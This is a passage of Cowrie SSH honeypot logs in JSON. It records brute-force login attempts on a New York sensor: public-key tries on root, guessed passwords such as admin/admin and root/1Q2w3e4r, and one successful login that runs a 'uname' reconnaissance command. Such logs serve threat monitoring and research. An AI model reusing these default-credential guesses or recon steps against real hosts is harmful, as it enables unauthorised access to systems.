failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:26.145784Z","src_ip":"195.26.87.217","session":"9e8ee41371e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:49:71:6e:31:1d:87:3f:02:43:cf:8a:0f:71:09:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfzIy0M/abKuwffeEEScBbaXv6gxH+GzCqKA2XixOGpwTOto4RjiytgW67Wkm54MaNm6+adPtUeWa9EY/X0vhbNbYYq4/skraQfkR3gbEgttWmSlmqunAog2wEnlNLxPp+Bs6xrUB3UJIjgOAyNVDIe9BBRH09pqKZ8EzHOccX7SucFsKgKWcK1rbb7Mfb5+YD6xp/xkuNF61C+baf7KEZBcP/Q+RiwNftvBZmZelq1QFjwXK2Auzv/z6Z24JYuL5KlfL9IM/1GZLFN1EZsIA6Jt2BCjJRhqN4hJmq4wPUYkSvfPKPr3l40Uq4OprQvc86+kFUxVej7Qq4zD+claE1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:49:71:6e:31:1d:87:3f:02:43:cf:8a:0f:71:09:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:26.231107Z","src_ip":"195.26.87.217","session":"9e8ee41371e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:49:71:6e:31:1d:87:3f:02:43:cf:8a:0f:71:09:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfzIy0M/abKuwffeEEScBbaXv6gxH+GzCqKA2XixOGpwTOto4RjiytgW67Wkm54MaNm6+adPtUeWa9EY/X0vhbNbYYq4/skraQfkR3gbEgttWmSlmqunAog2wEnlNLxPp+Bs6xrUB3UJIjgOAyNVDIe9BBRH09pqKZ8EzHOccX7SucFsKgKWcK1rbb7Mfb5+YD6xp/xkuNF61C+baf7KEZBcP/Q+RiwNftvBZmZelq1QFjwXK2Auzv/z6Z24JYuL5KlfL9IM/1GZLFN1EZsIA6Jt2BCjJRhqN4hJmq4wPUYkSvfPKPr3l40Uq4OprQvc86+kFUxVej7Qq4zD+claE1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:26.236786Z","src_ip":"195.26.87.217","session":"9e8ee41371e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:31:2d:9d:be:6d:7b:34:fc:bf:e0:aa:10:42:05:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGJapQ3RhS8X0qLcDY0H8Fz9y+ANoLSwoO7knWTdOgkyuOBp6HmIxOApSnmysRaYMZk+Sa8SYgvdifX8lgDCXYC+Ubati/nXR34Ai6nd3ZzZaD2RSevWDpLCVtN9pxo9AfBXcuj/0eQZ9Aocf+yfcDwbRpQl2ITsqF+HVH1esivQmxThnlgNCqIgmo4Yx/KDkI8+frFh0O62nysY+GW9/Oke6hqP+0q5237+nc2MHFMNGhDbE4ZVxVfoUXLAoGyicX9T6o1DEw3NrjvqZVA591jrjMSJ+fpNHXH4GCeo28naysqxqEKgi1QOK+T68eXG9ivBWwrkMfSEdr28gpS7/l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:31:2d:9d:be:6d:7b:34:fc:bf:e0:aa:10:42:05:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:26.322003Z","src_ip":"195.26.87.217","session":"9e8ee41371e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:31:2d:9d:be:6d:7b:34:fc:bf:e0:aa:10:42:05:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGJapQ3RhS8X0qLcDY0H8Fz9y+ANoLSwoO7knWTdOgkyuOBp6HmIxOApSnmysRaYMZk+Sa8SYgvdifX8lgDCXYC+Ubati/nXR34Ai6nd3ZzZaD2RSevWDpLCVtN9pxo9AfBXcuj/0eQZ9Aocf+yfcDwbRpQl2ITsqF+HVH1esivQmxThnlgNCqIgmo4Yx/KDkI8+frFh0O62nysY+GW9/Oke6hqP+0q5237+nc2MHFMNGhDbE4ZVxVfoUXLAoGyicX9T6o1DEw3NrjvqZVA591jrjMSJ+fpNHXH4GCeo28naysqxqEKgi1QOK+T68eXG9ivBWwrkMfSEdr28gpS7/l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:26.325423Z","src_ip":"195.26.87.217","session":"9e8ee41371e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:1a:1d:6f:42:be:cf:0e:9d:7f:e0:d6:32:f4:74:49","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIWz8R9PpyxuGpihKMWxJZMW6BUsxa606roYMr6vpP/8e50GRffAxS75sNTSzfCzmH9VFvjbmPmarhXIyK6Lvp39DkFGKz1JxdeRrDcjtj/y3nAbzjLlW/+oKcu26DNBQVVlGKZUm9/O/nI1Cn4u21UDdnTs3bQo9/bpS622hQ/dAAAAFQCaTx2oJqhqSgoxGPWiHsV3uOfogQAAAIAkXfFfkJFTIv77eu22MP2EUy7L7RdOfJlIjVjIKLVc0W8X77NxJgRaLfB3L4Pkql3O2lqZXBsXH5qRcXzjzgc9yiRLDacHkufy1x61qAagUTzK+FEtWMUvT9CYrap7+PCQyJl/2gAetZirccmxSgeVIa4U7us2VwIP+YAf9ReTcwAAAIAAzXzxzrWweMVxCAxi4+f8ndIvhzYJvHcWUQ64hLO3a3YupLYSfdwImlmrHTspkTEhcV0gyHCtiBLC1APr6/VdOTuFXTG6BQ6Ba9rFXqlknuE5/70sLwqAlPD1NK9+uE+wZ2wi7R4evfta/R2NFUoVqVV1FuBwFfp9sDm/hYfu6A==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 05:1a:1d:6f:42:be:cf:0e:9d:7f:e0:d6:32:f4:74:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:26.409492Z","src_ip":"195.26.87.217","session":"9e8ee41371e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:1a:1d:6f:42:be:cf:0e:9d:7f:e0:d6:32:f4:74:49","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIWz8R9PpyxuGpihKMWxJZMW6BUsxa606roYMr6vpP/8e50GRffAxS75sNTSzfCzmH9VFvjbmPmarhXIyK6Lvp39DkFGKz1JxdeRrDcjtj/y3nAbzjLlW/+oKcu26DNBQVVlGKZUm9/O/nI1Cn4u21UDdnTs3bQo9/bpS622hQ/dAAAAFQCaTx2oJqhqSgoxGPWiHsV3uOfogQAAAIAkXfFfkJFTIv77eu22MP2EUy7L7RdOfJlIjVjIKLVc0W8X77NxJgRaLfB3L4Pkql3O2lqZXBsXH5qRcXzjzgc9yiRLDacHkufy1x61qAagUTzK+FEtWMUvT9CYrap7+PCQyJl/2gAetZirccmxSgeVIa4U7us2VwIP+YAf9ReTcwAAAIAAzXzxzrWweMVxCAxi4+f8ndIvhzYJvHcWUQ64hLO3a3YupLYSfdwImlmrHTspkTEhcV0gyHCtiBLC1APr6/VdOTuFXTG6BQ6Ba9rFXqlknuE5/70sLwqAlPD1NK9+uE+wZ2wi7R4evfta/R2NFUoVqVV1FuBwFfp9sDm/hYfu6A==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:26.413238Z","src_ip":"195.26.87.217","session":"9e8ee41371e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:4e:a3:b4:47:89:ab:6f:b9:ff:34:28:0d:96:7c:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC87o7NdqS7sq3LY4m6YQ8JL8e2Dbjgv+d/O6H+3TKiq0IqY1R4v5rvbUJUSDhmgfWFscGsrI9wVNu965ahhBC/oi6Negmmn9/gOsNL7p873jp1gxP82OT7khbsEPCx1IfCIX5ju1jZjZkllcsvJPo85OcsInFlCsPx00lZG0McBU1gEo3gEi4VpUSUFJGrXGNyne9EJbRMcq9iTFkafXTbr/FLwVDwonaGVNTq8aFnZg+Q3XCfGFM1rlReXeYBu6/heKAaBNaoVc1MxPQcX3KKYMaV+ovRJdAr/Xz8ctjaGW4fr9XRApH7XI65m75wV8xQbVC3mV+lnSNcZQZ7IPkGXfpkCVBc0NvyMM2TCIW9MjrGqZ8D56gL5AlbQ7E36KhbyR3OWRdjUh0MUQr9FaEJ92vScfDnq9svUfCeRZRCmcsQlvZhW/phaEcaM8P3cFlS9I4kaBJzK6F3eL2Rj58ZnVrmbcKwk6QY6Cg2lzGGXgjsVb12ynwYIKO5J888jXKw995+keHBsKJ4X9gSP3DSbmC3ObuVtylrjn9Q2DRsaAZ0X/pIaheVJp+Oc4TlqPE95g0Q5KlO4hGhRsVl2pwVk1aB2Vhbd+CF9SgVFUyB/3Q0mQQsZan7JpNeapAc/36t6HLHYomT3IbhJ4hQOImA/s25bNqjGYx6mbyd22j+VQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:4e:a3:b4:47:89:ab:6f:b9:ff:34:28:0d:96:7c:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:26.500215Z","src_ip":"195.26.87.217","session":"9e8ee41371e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:4e:a3:b4:47:89:ab:6f:b9:ff:34:28:0d:96:7c:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC87o7NdqS7sq3LY4m6YQ8JL8e2Dbjgv+d/O6H+3TKiq0IqY1R4v5rvbUJUSDhmgfWFscGsrI9wVNu965ahhBC/oi6Negmmn9/gOsNL7p873jp1gxP82OT7khbsEPCx1IfCIX5ju1jZjZkllcsvJPo85OcsInFlCsPx00lZG0McBU1gEo3gEi4VpUSUFJGrXGNyne9EJbRMcq9iTFkafXTbr/FLwVDwonaGVNTq8aFnZg+Q3XCfGFM1rlReXeYBu6/heKAaBNaoVc1MxPQcX3KKYMaV+ovRJdAr/Xz8ctjaGW4fr9XRApH7XI65m75wV8xQbVC3mV+lnSNcZQZ7IPkGXfpkCVBc0NvyMM2TCIW9MjrGqZ8D56gL5AlbQ7E36KhbyR3OWRdjUh0MUQr9FaEJ92vScfDnq9svUfCeRZRCmcsQlvZhW/phaEcaM8P3cFlS9I4kaBJzK6F3eL2Rj58ZnVrmbcKwk6QY6Cg2lzGGXgjsVb12ynwYIKO5J888jXKw995+keHBsKJ4X9gSP3DSbmC3ObuVtylrjn9Q2DRsaAZ0X/pIaheVJp+Oc4TlqPE95g0Q5KlO4hGhRsVl2pwVk1aB2Vhbd+CF9SgVFUyB/3Q0mQQsZan7JpNeapAc/36t6HLHYomT3IbhJ4hQOImA/s25bNqjGYx6mbyd22j+VQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:26.503118Z","src_ip":"195.26.87.217","session":"9e8ee41371e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:26.584995Z","src_ip":"195.26.87.217","session":"9e8ee41371e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"1234","message":"login attempt [jack/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:26.730281Z","src_ip":"91.92.42.227","session":"6d4aeee8ae43","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:27.910317Z","src_ip":"91.92.42.227","session":"9767bec4dd0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:27.916268Z","src_ip":"91.92.42.227","session":"9767bec4dd0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:28.723578Z","src_ip":"8.219.200.1","session":"6c60942b5f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:29.433215Z","src_ip":"8.219.200.1","session":"6c60942b5f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57932,"dst_ip":"10.17.0.5","dst_port":22,"session":"c34f9369594e","protocol":"ssh","message":"New connection: 45.156.87.147:57932 (10.17.0.5:22) [session: c34f9369594e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:29.984029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:29.988710Z","src_ip":"45.156.87.147","session":"c34f9369594e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:30.074374Z","src_ip":"45.156.87.147","session":"c34f9369594e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"Password1","message":"login attempt [sysupdate/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:30.328390Z","src_ip":"45.156.87.147","session":"c34f9369594e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:31.415066Z","src_ip":"45.156.87.147","session":"c34f9369594e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57994,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cea825a4aa8","protocol":"ssh","message":"New connection: 91.92.42.227:57994 (10.17.0.5:22) [session: 4cea825a4aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:31.995307Z"}
{"eventid":"cowrie.session.closed","duration":"19.9","message":"Connection lost after 19.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:32.180129Z","src_ip":"91.92.42.227","session":"6d4aeee8ae43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:35.178578Z","src_ip":"91.92.42.227","session":"77ef4489ee3a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:35.236078Z","src_ip":"91.92.42.227","session":"4cea825a4aa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:35.239225Z","src_ip":"91.92.42.227","session":"4cea825a4aa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57942,"dst_ip":"10.17.0.5","dst_port":22,"session":"149ff047accc","protocol":"ssh","message":"New connection: 45.156.87.147:57942 (10.17.0.5:22) [session: 149ff047accc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:35.795785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:35.799645Z","src_ip":"45.156.87.147","session":"149ff047accc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:35.884376Z","src_ip":"45.156.87.147","session":"149ff047accc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:36.131464Z","src_ip":"45.156.87.147","session":"149ff047accc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:36.344595Z","src_ip":"45.156.87.147","session":"149ff047accc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:36.347412Z","src_ip":"45.156.87.147","session":"149ff047accc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:36.436744Z","src_ip":"45.156.87.147","session":"149ff047accc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:36.441606Z","src_ip":"45.156.87.147","session":"149ff047accc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55940,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbffeafa6b85","protocol":"ssh","message":"New connection: 91.92.42.227:55940 (10.17.0.5:22) [session: dbffeafa6b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:38.617977Z"}
